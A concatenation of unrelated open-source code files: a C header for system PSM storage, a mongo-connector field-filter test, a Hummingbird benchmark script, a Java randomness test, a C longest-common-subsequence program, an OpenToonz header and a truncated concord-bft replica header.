#ifndef __PSM_UTILS_H__
#define __PSM_UTILS_H__
#include <psm-v2.h>
/**
* Get Sys PSM handle
*
* sys_psm_init() initializes the System PSM. sys_psm_get_handle() allows
* you to retrieve the PSM handle init'ed in sys_psm_init(). This function
* can be called as many times as necessary and just returns the handle
* stored internally by Sys PSM.
*
* @return Non zero PSM handle. If PSM is not initialized by calling
* sys_psm_init() then NULL will be returned.
*/
psm_hnd_t sys_psm_get_handle(void);
/**
* Initialized System PSM
*
* This API is given as a helper function to initialize the PSM generally
* used by app framework and applications. Though not mandatory the System
* PSM is generally present in any decent application based on WMSDK. It
* stores key-value pairs viz. AP SSiD, Passphrase required for wlan
* functionality. The application may also use this PSM to store its own
* key-value data.
*
* The System PSM partition is just like any other psm-v2 partition. So,
* once initialized using this API, the sys_psm_get_handle() should be used
* to retrieve the System PSM handle. This handle should then be used along
* with PSMv2 APIs present in psm-v2.h
*
* @return WM_SUCCESS if System PSM is init'ed successfully.
* @return Negative error code otherwise.
*/
int sys_psm_init(void);
/**
* Initialize System PSM with specified partition name or flash space.
*
* Compared to its peer \ref sys_psm_init(), this API initializes the PSM
* module with the enhancement that partition details can be specified either
* as a partition name from partition table or as flash descriptor itself.
* Refer to \ref psm_module_init_ex for more details.
*
* \note This API is useful for devices that do not have a standard system
* PSM partition (with component type 'FC_COMP_PSM') in their partition table.
*
* @param[in] sys_init_part Pointer to \ref psm_init_part_t structure having
* partition details. PSMv2 won't need the user copy of any field in
* sys_init_part after call returns.
*
* @return WM_SUCCESS if System PSM is init'ed successfully.
* @return -WM_E_INVAL Invalid arguments.
* @return -WM_E_NOMEM Memory allocation failure.
* @return -WM_FAIL otherwise
*/
int sys_psm_init_ex(const psm_init_part_t *sys_init_part);
/**
* Initialize PSM cli for the given PSM partition
*
* This API helps you read/write to any PSM partition initialized by
* you on the developer console. The existing psm cli commands can be used
* for this purpose. psm cli commands take optional part-name
* parameter. The part-name passed through this API is to be used at the
* time to access the partition.
*
* @param[in] hnd This is the PSM handle. This can be obtained by called
* psm_module_init() from the psm-v2 API set. Alternatively for System PSM
* a helper function sys_psm_init() is also present.
* @param[in] part_name This is the user friendly name of the PSM partition
* to be used along with psm cli commands. This is the only purpose and
* scope of the part_name.
*
* @return WM_SUCCESS if cli registration was successful.
* @return Negative error code otherwise.
*/
int psm_cli_init(psm_hnd_t hnd, const char *part_name);
/*
* Dump all the contents of the PSM partition
*
* @param[in] hnd This is the PSM handle. This can be obtained by called
* psm_module_init() from the psm-v2 API set.
*/
void psm_util_dump(psm_hnd_t hnd);
#endif /* __PSM_UTILS_H__ */
| 1,339 |
1,232 | <reponame>JunZCn/DBus
# Copyright 2016 MongoDB, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Test include and exclude fields
"""
import sys
sys.path[0:0] = [""]
from mongo_connector import errors
from mongo_connector.doc_managers.doc_manager_simulator import DocManager
from mongo_connector.locking_dict import LockingDict
from mongo_connector.oplog_manager import OplogThread
from mongo_connector.namespace_config import NamespaceConfig
from mongo_connector.test_utils import (assert_soon,
close_client,
ReplicaSetSingle)
from tests import unittest
class TestFilterFields(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.repl_set = ReplicaSetSingle().start()
cls.primary_conn = cls.repl_set.client()
cls.oplog_coll = cls.primary_conn.local['oplog.rs']
@classmethod
def tearDownClass(cls):
cls.primary_conn.drop_database("test")
close_client(cls.primary_conn)
cls.repl_set.stop()
def setUp(self):
self.namespace_config = NamespaceConfig()
self.opman = OplogThread(
primary_client=self.primary_conn,
doc_managers=(DocManager(),),
oplog_progress_dict=LockingDict(),
namespace_config=self.namespace_config
)
def tearDown(self):
try:
self.opman.join()
except RuntimeError:
# OplogThread may not have been started
pass
def reset_include_fields(self, fields):
self.opman.namespace_config = NamespaceConfig(include_fields=fields)
def reset_exclude_fields(self, fields):
self.opman.namespace_config = NamespaceConfig(exclude_fields=fields)
def test_filter_fields(self):
docman = self.opman.doc_managers[0]
conn = self.opman.primary_client
include_fields = ["a", "b", "c"]
exclude_fields = ["d", "e", "f"]
# Set fields to care about
self.reset_include_fields(include_fields)
# Documents have more than just these fields
doc = {
"a": 1, "b": 2, "c": 3,
"d": 4, "e": 5, "f": 6,
"_id": 1
}
db = conn['test']['test']
db.insert_one(doc)
assert_soon(lambda: db.count() == 1)
self.opman.dump_collection()
result = docman._search()[0]
keys = result.keys()
for inc, exc in zip(include_fields, exclude_fields):
self.assertIn(inc, keys)
self.assertNotIn(exc, keys)
def test_filter_exclude_oplog_entry(self):
# Test oplog entries: these are callables, since
# filter_oplog_entry modifies the oplog entry in-place
insert_op = lambda: {
"op": "i",
"o": {
"_id": 0,
"a": 1,
"b": 2,
"c": 3
}
}
update_op = lambda: {
"op": "u",
"o": {
"$set": {
"a": 4,
"b": 5
},
"$unset": {
"c": True
}
},
"o2": {
"_id": 1
}
}
def filter_doc(document, fields):
if fields and '_id' in fields:
fields.remove('_id')
return self.opman.filter_oplog_entry(
document, exclude_fields=fields)
# Case 0: insert op, no fields provided
filtered = filter_doc(insert_op(), None)
self.assertEqual(filtered, insert_op())
# Case 1: insert op, fields provided
filtered = filter_doc(insert_op(), ['c'])
self.assertEqual(filtered['o'], {'_id': 0, 'a': 1, 'b': 2})
# Case 2: insert op, fields provided, doc becomes empty except for _id
filtered = filter_doc(insert_op(), ['a', 'b', 'c'])
self.assertEqual(filtered['o'], {'_id': 0})
# Case 3: update op, no fields provided
filtered = filter_doc(update_op(), None)
self.assertEqual(filtered, update_op())
# Case 4: update op, fields provided
filtered = filter_doc(update_op(), ['b'])
self.assertNotIn('b', filtered['o']['$set'])
self.assertIn('a', filtered['o']['$set'])
self.assertEqual(filtered['o']['$unset'], update_op()['o']['$unset'])
# Case 5: update op, fields provided, empty $set
filtered = filter_doc(update_op(), ['a', 'b'])
self.assertNotIn('$set', filtered['o'])
self.assertEqual(filtered['o']['$unset'], update_op()['o']['$unset'])
# Case 6: update op, fields provided, empty $unset
filtered = filter_doc(update_op(), ['c'])
self.assertNotIn('$unset', filtered['o'])
self.assertEqual(filtered['o']['$set'], update_op()['o']['$set'])
# Case 7: update op, fields provided, entry is nullified
filtered = filter_doc(update_op(), ['a', 'b', 'c'])
self.assertEqual(filtered, None)
# Case 8: update op, fields provided, replacement
filtered = filter_doc({
'op': 'u',
'o': {'a': 1, 'b': 2, 'c': 3, 'd': 4}
}, ['d', 'e', 'f'])
self.assertEqual(
filtered, {'op': 'u', 'o': {'a': 1, 'b': 2, 'c': 3}})
def test_filter_oplog_entry(self):
# Test oplog entries: these are callables, since
# filter_oplog_entry modifies the oplog entry in-place
insert_op = lambda: {
"op": "i",
"o": {
"_id": 0,
"a": 1,
"b": 2,
"c": 3
}
}
update_op = lambda: {
"op": "u",
"o": {
"$set": {
"a": 4,
"b": 5
},
"$unset": {
"c": True
}
},
"o2": {
"_id": 1
}
}
def filter_doc(document, fields):
if fields and '_id' not in fields:
fields.append('_id')
return self.opman.filter_oplog_entry(
document, include_fields=fields)
# Case 0: insert op, no fields provided
filtered = filter_doc(insert_op(), None)
self.assertEqual(filtered, insert_op())
# Case 1: insert op, fields provided
filtered = filter_doc(insert_op(), ['a', 'b'])
self.assertEqual(filtered['o'], {'_id': 0, 'a': 1, 'b': 2})
# Case 2: insert op, fields provided, doc becomes empty except for _id
filtered = filter_doc(insert_op(), ['d', 'e', 'f'])
self.assertEqual(filtered['o'], {'_id': 0})
# Case 3: update op, no fields provided
filtered = filter_doc(update_op(), None)
self.assertEqual(filtered, update_op())
# Case 4: update op, fields provided
filtered = filter_doc(update_op(), ['a', 'c'])
self.assertNotIn('b', filtered['o']['$set'])
self.assertIn('a', filtered['o']['$set'])
self.assertEqual(filtered['o']['$unset'], update_op()['o']['$unset'])
# Case 5: update op, fields provided, empty $set
filtered = filter_doc(update_op(), ['c'])
self.assertNotIn('$set', filtered['o'])
self.assertEqual(filtered['o']['$unset'], update_op()['o']['$unset'])
# Case 6: update op, fields provided, empty $unset
filtered = filter_doc(update_op(), ['a', 'b'])
self.assertNotIn('$unset', filtered['o'])
self.assertEqual(filtered['o']['$set'], update_op()['o']['$set'])
# Case 7: update op, fields provided, entry is nullified
filtered = filter_doc(update_op(), ['d', 'e', 'f'])
self.assertEqual(filtered, None)
# Case 8: update op, fields provided, replacement
filtered = filter_doc({
'op': 'u',
'o': {'a': 1, 'b': 2, 'c': 3, 'd': 4}
}, ['a', 'b', 'c'])
self.assertEqual(
filtered, {'op': 'u', 'o': {'a': 1, 'b': 2, 'c': 3}})
def test_nested_fields(self):
def check_nested(document, fields, filtered_document, op='i'):
if '_id' not in fields:
fields.append('_id')
filtered_result = self.opman.filter_oplog_entry(
{'op': op, 'o': document}, include_fields=fields)
if filtered_result is not None:
filtered_result = filtered_result['o']
self.assertEqual(filtered_result, filtered_document)
document = {'name': '<NAME>', 'a': {'b': {}}}
fields = ['name', 'a.b.c']
filtered_document = {'name': '<NAME>'}
check_nested(document, fields, filtered_document)
document = {'a': {'b': {'c': 2, 'e': 3}, 'e': 5},
'b': 2,
'c': {'g': 1}}
fields = ['a.b.c', 'a.e']
filtered_document = {'a': {'b': {'c': 2}, 'e': 5}}
check_nested(document, fields, filtered_document)
document = {'a': {'b': {'c': 2, 'e': 3}, 'e': 5},
'b': 2,
'c': {'g': 1},
'_id': 1}
fields = ['a.b.c', 'a.e']
filtered_document = {'a': {'b': {'c': 2}, 'e': 5}, '_id': 1}
check_nested(document, fields, filtered_document)
document = {'a': {'b': {'c': {'d': 1}}}, '-a': {'-b': {'-c': 2}}}
fields = ['a.b', '-a']
filtered_document = document.copy()
check_nested(document, fields, filtered_document)
document = {'a': {'b': {'c': {'d': 1}}}, '-a': {'-b': {'-c': 2}}}
fields = ['a', '-a.-b']
filtered_document = document.copy()
check_nested(document, fields, filtered_document)
document = {'a': {'b': {'c': {'d': 1}}}, '-a': {'-b': {'-c': 2}},
'_id': 1}
fields = ['a.b', '-a']
filtered_document = document.copy()
check_nested(document, fields, filtered_document)
fields = ['a', '-a.-b']
check_nested(document, fields, filtered_document)
document = {'test': 1}
fields = ['doesnt_exist']
filtered_document = {}
check_nested(document, fields, filtered_document)
document = {'a': {'b': 1}, 'b': {'a': 1}}
fields = ['a.b', 'b.a']
filtered_document = document.copy()
check_nested(document, fields, filtered_document)
document = {'a': {'b': {'a': {'b': 1}}}, 'c': {'a': {'b': 1}}}
fields = ['a.b']
filtered_document = {'a': {'b': {'a': {'b': 1}}}}
check_nested(document, fields, filtered_document)
document = {'name': 'anna', 'name_of_cat': 'pushkin'}
fields = ['name']
filtered_document = {'name': 'anna'}
check_nested(document, fields, filtered_document)
update = {'$set': {'a.b': 1, 'a.c': 3, 'b': 2, 'c': {'b': 3}}}
fields = ['a', 'c']
filtered_update = {'$set': {'a.b': 1, 'a.c': 3, 'c': {'b': 3}}}
check_nested(update, fields, filtered_update, op='u')
update = {'$set': {'a.b': {'c': 3, 'd': 1}, 'a.e': 1, 'a.f': 2}}
fields = ['a.b.c', 'a.e']
filtered_update = {'$set': {'a.b': {'c': 3}, 'a.e': 1}}
check_nested(update, fields, filtered_update, op='u')
update = {'$set': {'a.b.1': 1, 'a.b.2': 2, 'b': 3}}
fields = ['a.b']
filtered_update = {'$set': {'a.b.1': 1, 'a.b.2': 2}}
check_nested(update, fields, filtered_update, op='u')
update = {'$set': {'a.b': {'c': 3, 'd': 1}, 'a.e': 1}}
fields = ['a.b.e']
filtered_update = None
check_nested(update, fields, filtered_update, op='u')
def test_nested_exclude_fields(self):
def check_nested(document, exclude_fields, filtered_document, op='i'):
if '_id' in exclude_fields:
exclude_fields.remove('_id')
filtered_result = self.opman.filter_oplog_entry(
{'op': op, 'o': document}, exclude_fields=exclude_fields)
if filtered_result is not None:
filtered_result = filtered_result['o']
self.assertEqual(filtered_result, filtered_document)
document = {'a': {'b': {'c': {'d': 0, 'e': 1}}}}
exclude_fields = ['a.b.c.d']
filtered_document = {'a': {'b': {'c': {'e': 1}}}}
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': {'c': {'-a': 0, 'd': {'e': {'f': 1}}}}}}
exclude_fields = ['a.b.c.d.e.f']
filtered_document = {'a': {'b': {'c': {'-a': 0, 'd': {'e': {}}}}}}
check_nested(document, exclude_fields, filtered_document)
document = {'a': 1}
exclude_fields = ['a']
filtered_document = {}
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': {'c': 2, 'e': 3}, 'e': 5},
'b': 2,
'c': {'g': 1}}
exclude_fields = ['a.b.c', 'a.e']
filtered_document = {'a': {'b': {'e': 3}},
'b': 2,
'c': {'g': 1}}
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': {'c': 2, 'e': 3}, 'e': 5},
'b': 2,
'c': {'g': 1},
'_id': 1}
exclude_fields = ['a.b.c', 'a.e', '_id']
filtered_document = {'a': {'b': {'e': 3}},
'b': 2, 'c': {'g': 1},
'_id': 1}
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': {'c': {'d': 1}}},
'-a': {'-b': {'-c': 2}}}
exclude_fields = ['a.b', '-a']
filtered_document = {'a': {}}
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': {'c': {'d': 1}}},
'-a': {'-b': {'-c': 2}}}
exclude_fields = ['a', '-a.-b']
filtered_document = {'-a': {}}
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': {'c': {'d': 1}}},
'-a': {'-b': {'-c': 2}},
'_id': 1}
exclude_fields = ['a.b', '-a']
filtered_document = {'_id': 1, 'a': {}}
check_nested(document, exclude_fields, filtered_document)
document = {'test': 1}
exclude_fields = ['doesnt_exist']
filtered_document = document.copy()
check_nested(document, exclude_fields, filtered_document)
document = {'test': 1}
exclude_fields = ['test.doesnt_exist']
filtered_document = document.copy()
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': 1}, 'b': {'a': 1}}
exclude_fields = ['a.b', 'b.a']
filtered_document = {'a': {}, 'b': {}}
check_nested(document, exclude_fields, filtered_document)
document = {'a': {'b': {'a': {'b': 1}}}, 'c': {'a': {'b': 1}}}
exclude_fields = ['a.b']
filtered_document = {'a': {}, 'c': {'a': {'b': 1}}}
check_nested(document, exclude_fields, filtered_document)
document = {'name': 'anna', 'name_of_cat': 'pushkin'}
exclude_fields = ['name']
filtered_document = {'name_of_cat': 'pushkin'}
check_nested(document, exclude_fields, filtered_document)
update = {'$set': {'a.b': 1, 'a.c': 3, 'b': 2, 'c': {'b': 3}}}
exclude_fields = ['a', 'c']
filtered_update = {'$set': {'b': 2}}
check_nested(update, exclude_fields, filtered_update, op='u')
update = {'$set': {'a.b': {'c': 3, 'd': 1}, 'a.e': 1, 'a.f': 2}}
exclude_fields = ['a.b.c', 'a.e']
filtered_update = {'$set': {'a.b': {'d': 1}, 'a.f': 2}}
check_nested(update, exclude_fields, filtered_update, op='u')
update = {'$set': {'a.b': {'c': 3, 'd': 1}, 'a.e': 1}}
exclude_fields = ['a.b.c', 'a.b.d', 'a.e']
filtered_update = {'$set': {'a.b': {}}}
check_nested(update, exclude_fields, filtered_update, op='u')
update = {'$set': {'a.b.1': 1, 'a.b.2': 2, 'b': 3}}
exclude_fields = ['a.b']
filtered_update = {'$set': {'b': 3}}
check_nested(update, exclude_fields, filtered_update, op='u')
update = {'$set': {'a.b.c': 42, 'd.e.f': 123, 'g': 456}}
exclude_fields = ['a.b', 'd']
filtered_update = {'$set': {'g': 456}}
check_nested(update, exclude_fields, filtered_update, op='u')
update = {'$set': {'a.b': {'c': 3, 'd': 1}, 'a.e': 1}}
exclude_fields = ['a.b', 'a.e']
filtered_update = None
check_nested(update, exclude_fields, filtered_update, op='u')
class TestFindFields(unittest.TestCase):
def test_find_field(self):
doc = {'a': {'b': {'c': 1}}}
self.assertEqual(OplogThread._find_field('a', doc),
[(['a'], doc['a'])])
self.assertEqual(OplogThread._find_field('a.b', doc),
[(['a', 'b'], doc['a']['b'])])
self.assertEqual(OplogThread._find_field('a.b.c', doc),
[(['a', 'b', 'c'], doc['a']['b']['c'])])
self.assertEqual(OplogThread._find_field('x', doc),
[])
self.assertEqual(OplogThread._find_field('a.b.x', doc),
[])
def test_find_update_fields(self):
doc = {'a': {'b': {'c': 1}}, 'e.f': 1, 'g.h': {'i': {'j': 1}}}
self.assertEqual(OplogThread._find_update_fields('a', doc),
[(['a'], doc['a'])])
self.assertEqual(OplogThread._find_update_fields('a.b', doc),
[(['a', 'b'], doc['a']['b'])])
self.assertEqual(OplogThread._find_update_fields('a.b.c', doc),
[(['a', 'b', 'c'], doc['a']['b']['c'])])
self.assertEqual(OplogThread._find_update_fields('x', doc),
[])
self.assertEqual(OplogThread._find_update_fields('a.b.x', doc),
[])
self.assertEqual(OplogThread._find_update_fields('e.f', doc),
[(['e.f'], doc['e.f'])])
self.assertEqual(OplogThread._find_update_fields('e', doc),
[(['e.f'], doc['e.f'])])
self.assertEqual(OplogThread._find_update_fields('g.h.i.j', doc),
[(['g.h', 'i', 'j'], doc['g.h']['i']['j'])])
# Test multiple matches
doc = {'a.b': 1, 'a.c': 2, 'e.f.h': 3, 'e.f.i': 4}
matches = OplogThread._find_update_fields('a', doc)
self.assertEqual(len(matches), 2)
self.assertIn((['a.b'], doc['a.b']), matches)
self.assertIn((['a.c'], doc['a.c']), matches)
matches = OplogThread._find_update_fields('e.f', doc)
self.assertEqual(len(matches), 2)
self.assertIn((['e.f.h'], doc['e.f.h']), matches)
self.assertIn((['e.f.i'], doc['e.f.i']), matches)
# Test updates to array fields
doc = {'a.b.1': 9, 'a.b.3': 10, 'a.b.4.c': 11}
matches = OplogThread._find_update_fields('a.b', doc)
self.assertEqual(len(matches), 3)
self.assertIn((['a.b.1'], doc['a.b.1']), matches)
self.assertIn((['a.b.3'], doc['a.b.3']), matches)
self.assertIn((['a.b.4.c'], doc['a.b.4.c']), matches)
if __name__ == "__main__":
unittest.main()
| 10,113 |
2,772 | # -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import os
import sys
import argparse
import json
import ast
import psutil
from pathlib import Path
import signal
import time
import numpy as np
import sklearn
import joblib
import torch
from scipy import stats
import gc
import benchmarks.pipelines.score as score
from benchmarks.timer import Timer
ROOT_PATH = Path(__file__).absolute().parent.parent.parent
def print_sys_info(args):
print("System : %s" % sys.version)
print("OS : %s" % sys.platform)
print("Sklearn: %s" % sklearn.__version__)
print("Torch: %s" % torch.__version__)
# Optional imports
try:
import onnxruntime
print("ORT : %s" % onnxruntime.__version__)
except ImportError:
pass
try:
import tvm
print("TVM : %s" % tvm.__version__)
except ImportError:
pass
if args.gpu:
print("Running on GPU")
else:
print("#CPU {}".format(psutil.cpu_count(logical=False)))
def signal_handler(signum, frame):
print("1 hour timeout triggered.")
raise Exception("Timeout")
def set_alarm(timeout=0):
if sys.platform == "linux":
signal.alarm(timeout)
def set_signal():
if sys.platform == "linux":
signal.signal(signal.SIGALRM, signal_handler)
def parse_args():
parser = argparse.ArgumentParser(description="Benchmark for OpenML pipelines")
parser.add_argument(
"-pipedir",
default=os.path.join(ROOT_PATH, "benchmarks/pipelines/openml-cc18/"),
type=str,
help=("The root folder containing all pipelines"),
)
parser.add_argument("-backend", default="torch", type=str, help=("Comma-separated list of Hummingbird's backends to run"))
parser.add_argument("-gpu", default=False, action="store_true", help=("Whether to run scoring on GPU or not"))
parser.add_argument("-output", default=None, type=str, help="Output json file with runtime stats")
parser.add_argument("-niters", default=5, type=int, help=("Number of iterations for each experiment"))
parser.add_argument("-validate", default=False, help="Validate prediction output and fails accordigly.")
args = parser.parse_args()
# default value for output json file
if not args.output:
args.output = "result-{}.json".format("gpu" if args.gpu else "cpu")
return args
def main():
args = parse_args()
print(args.gpu)
print_sys_info(args)
results = {}
set_signal()
skipped = 0
total = 0
if not os.path.exists(args.pipedir):
raise Exception(args.pipedir + " directory not found")
tasks = os.listdir(args.pipedir)
tasks = list(map(lambda x: int(x), tasks))
tasks.sort()
for task in list(map(lambda x: str(x), tasks)):
print("Task-{}".format(task))
task_dir = os.path.join(args.pipedir, task)
task_pip_dir = os.path.join(task_dir, "pipelines")
X = np.load(os.path.join(task_dir, "data", "X.dat.npy"))
results[task] = {"dataset_size": X.shape[0], "num_features": X.shape[1]}
pipelines = os.listdir(os.path.join(task_pip_dir))
pipelines = list(map(lambda x: int(x[:-4]), pipelines))
pipelines.sort()
res = []
for pipeline in list(map(lambda x: str(x), pipelines)):
total += 1
with open(os.path.join(task_pip_dir, pipeline + ".pkl"), "rb") as f:
model = joblib.load(f)
assert model is not None
results[task][pipeline] = {}
times = []
mean = 0
print("Pipeline-{}".format(pipeline))
try:
for i in range(args.niters):
set_alarm(3600)
with Timer() as t:
res = model.predict(X)
times.append(t.interval)
set_alarm(0)
mean = stats.trim_mean(times, 1 / len(times)) if args.niters > 1 else times[0]
gc.collect()
except Exception as e:
print(e)
pass
results[task][pipeline] = {"prediction_time": mean}
for backend in args.backend.split(","):
print("Running '%s' ..." % backend)
scorer = score.ScoreBackend.create(backend)
with scorer:
try:
conversion_time = scorer.convert(model, X, args)
except Exception as e:
skipped += 1
print(e)
continue
times = []
prediction_time = 0
try:
for i in range(args.niters):
set_alarm(3600)
times.append(scorer.predict(X))
set_alarm(0)
prediction_time = times[0] if args.niters == 1 else stats.trim_mean(times, 1 / len(times))
gc.collect()
except Exception as e:
skipped += 1
print(e)
pass
results[task][pipeline][backend] = {
"conversion_time": str(conversion_time),
"prediction_time": str(prediction_time),
"speedup": "0"
if mean == 0 or prediction_time == 0
else str(mean / prediction_time)
if prediction_time < mean
else str(-prediction_time / mean),
}
print(results[task][pipeline][backend])
if args.validate:
np.testing.assert_allclose(scorer.predictions, res, rtol=1e-5, atol=1e-6)
output = json.dumps(results, indent=2)
output_file = open(args.output, "w")
output_file.write(output + "\n")
output_file.close()
print("All results written to file '%s'" % args.output)
print("Total num of pipelines: {}; skipped: {}".format(total, skipped))
if __name__ == "__main__":
main()
| 3,450 |
480 | /*
* Copyright [2013-2021], Alibaba Group Holding Limited
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.polardbx.sequence.util;
import com.alibaba.polardbx.sequence.exception.SequenceException;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Ignore;
import org.junit.Test;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
public class RandomBalanceTest {
private static final Long MAX_PERCENTATE = 110L;
private static final Long MIN_PERCENTATE = 90L;
@Before
public void setUp() throws Exception {
}
@Ignore
@Test
public void test_balance() {
int ramdomTimes = 100000;
int randomRange = 100;
int statisticsPos = 0;
System.out.println("statisticsPos --------->value " + statisticsPos);
System.out.println();
Map<Integer, Long> map = new HashMap<Integer, Long>();
try {
for (int i = 0; i < ramdomTimes; i++) {
int[] random1 = RandomSequence.randomIntSequence(randomRange);
int key = random1[statisticsPos];
if (map.containsKey(key)) {
Long value = map.get(key);
map.put(key, value + 1);
} else {
map.put(key, 1L);
}
}
sortAndTest(map, randomRange, ramdomTimes);
} catch (SequenceException e) {
Assert.assertTrue(false);
}
}
private ArrayList<Map.Entry<Integer, Long>> sort(Map<Integer, Long> map) {
ArrayList<Map.Entry<Integer, Long>> list = new ArrayList<Map.Entry<Integer, Long>>(map.entrySet());
Collections.sort(list, new Comparator<Map.Entry<Integer, Long>>() {
public int compare(Entry<Integer, Long> arg0, Entry<Integer, Long> arg1) {
int result = 1;
if (arg0.getValue() - arg1.getValue() > 0) {
result = -1;
}
return result;
}
});
return list;
}
private void sortAndTest(Map<Integer, Long> map, long randomRange, long ramdomTimes) {
ArrayList<Map.Entry<Integer, Long>> list = sort(map);
for (int i = 0; i < list.size(); i++) {
Map.Entry<Integer, Long> entry = list.get(i);
Long value = entry.getValue() * 100 * randomRange / ramdomTimes;
Assert.assertTrue("POSITION " + i + " : " + value, value < MAX_PERCENTATE);
Assert.assertTrue("POSITION " + i + " : " + value, value > MIN_PERCENTATE);
}
}
}
| 1,335 |
1,126 | #include <stdio.h>
#include <string.h>
#define max(a,b) (a > b) ? a : b
// Function that computes the longest common subsequence
// Complexity: O( len(string1) * len(string2) )
int longestCommonSubsequence(char *string1, char *string2) {
int len1 = (int) strlen(string1);
int len2 = (int) strlen(string2);
int lcs[len1 + 1][len2 + 1];
for (int i = 0; i <= len1; ++i) {
for (int j = 0; j <= len2; ++j) {
if (i == 0 || j == 0) {
lcs[i][j] = 0;
} else if (string1[i - 1] == string2[j - 1]) {
lcs[i][j] = lcs[i - 1][j - 1] + 1;
} else {
lcs[i][j] = max(lcs[i - 1][j], lcs[i][j - 1]);
}
}
}
return lcs[len1][len2];
}
int main() {
// String from which Longest common subsequence have to find
// Maximum length of string should be 100 char long
char str1[100];
char str2[100];
strcpy(str1, "mathematicians study maths");
strcpy(str2, "people study matrix multiplication");
printf("%d\n", longestCommonSubsequence(str1, str2));
return 0;
}
| 421 |
3,710 | <filename>toonz/sources/include/toonz/expressionreferencemonitor.h
#pragma once
#ifndef EXPRESSIONREFERENCEMONITOR_H
#define EXPRESSIONREFERENCEMONITOR_H
#undef DVAPI
#undef DVVAR
#ifdef TOONZLIB_EXPORTS
#define DVAPI DV_EXPORT_API
#define DVVAR DV_EXPORT_VAR
#else
#define DVAPI DV_IMPORT_API
#define DVVAR DV_IMPORT_VAR
#endif
#include <QMap>
#include <QSet>
#include <QString>
class TDoubleParam;
class DVAPI ExpressionReferenceMonitorInfo {
// name of the parameter
QString m_name = "";
// true if the parameter is not monitored
bool m_ignored = false;
// column indices to which the parameter refers.
// note that the columns referred by the "cell" syntax will be
// registered in this container, but not in the paramRefMap.
QSet<int> m_colRefMap;
// parameters to which the parameter refers
QSet<TDoubleParam*> m_paramRefMap;
public:
QString& name() { return m_name; }
bool& ignored() { return m_ignored; }
QSet<int>& colRefMap() { return m_colRefMap; }
QSet<TDoubleParam*>& paramRefMap() { return m_paramRefMap; }
};
class DVAPI ExpressionReferenceMonitor {
QMap<TDoubleParam*, ExpressionReferenceMonitorInfo> m_info;
public:
ExpressionReferenceMonitor() {}
QMap<TDoubleParam*, ExpressionReferenceMonitorInfo>& info() { return m_info; }
void clearAll() { m_info.clear(); }
ExpressionReferenceMonitor* clone() {
ExpressionReferenceMonitor* ret = new ExpressionReferenceMonitor();
ret->info() = m_info;
return ret;
}
};
#endif
| 523 |
340 | <reponame>cloudnoize/concord-bft
// Concord
//
// Copyright (c) 2018-2019 VMware, Inc. All Rights Reserved.
//
// This product is licensed to you under the Apache 2.0 license (the "License"). You may not use this product except in
// compliance with the Apache 2.0 License.
//
// This product may include a number of subcomponents with separate copyright notices and license terms. Your use of
// these subcomponents is subject to the terms and conditions of the sub-component's license, as noted in the LICENSE
// file.
#pragma once
#include <memory>
#include "IRequestHandler.hpp"
#include "PrimitiveTypes.hpp"
#include "ReplicaConfig.hpp"
#include "SeqNumInfo.hpp"
#include "DebugStatistics.hpp"
#include "Metrics.hpp"
#include "Timers.hpp"
#include "ControlStateManager.hpp"
namespace bftEngine::impl {
class MsgHandlersRegistrator;
class MsgsCommunicator;
class ReplicasInfo;
using concordMetrics::GaugeHandle;
using concordMetrics::StatusHandle;
using concordMetrics::CounterHandle;
using concordUtil::Timers;
using bftEngine::ReplicaConfig;
/**
*
*/
class ReplicaBase {
friend class MessageBase;
public:
ReplicaBase(const ReplicaConfig&,
std::shared_ptr<IRequestsHandler>,
std::shared_ptr<MsgsCommunicator>,
std::shared_ptr<MsgHandlersRegistrator>,
concordUtil::Timers& timers);
virtual ~ReplicaBase() {}
virtual bool isReadOnly() const = 0;
std::shared_ptr<MsgsCommunicator> getMsgsCommunicator() const { return msgsCommunicator_; }
std::shared_ptr<MsgHandlersRegistrator> getMsgHandlersRegistrator() const { return msgHandlers_; }
void SetAggregator(std::shared_ptr<concordMetrics::Aggregator> aggregator) {
if (aggregator) {
aggregator_ = aggregator;
metrics_.SetAggregator(aggregator);
}
}
std::shared_ptr<concordMetrics::Aggregator> getAggregator() const { return aggregator_; }
std::shared_ptr<IRequestsHandler> getRequestsHandler() { return bftRequestsHandler_; }
virtual void start();
virtual void stop();
SeqNum getLastExecutedSequenceNum() const { return lastExecutedSeqNum; }
virtual bool isRunning() const;
auto& timers() { return timers_; }
protected:
// Message handling
virtual void onReportAboutInvalidMessage(MessageBase* msg, const char* reason) = 0;
virtual void send(MessageBase* m, NodeIdType dest) { sendRaw(m, dest); }
void sendToAllOtherReplicas(MessageBase* m, bool includeRo = false);
void sendRaw(MessageBase* m, NodeIdType dest);
bool validateMessage(MessageBase* msg) {
try {
if (config_.debugStatisticsEnabled) DebugStatistics::onReceivedExMessage(msg->type());
msg->validate(*repsInfo);
return true;
} catch (std::exception& e) {
onReportAboutInvalidMessage(msg, e.what());
return false;
}
}
protected:
static const uint16_t ALL_OTHER_REPLICAS = UINT16_MAX;
const ReplicaConfig& config_;
ReplicasInfo* repsInfo = nullptr;
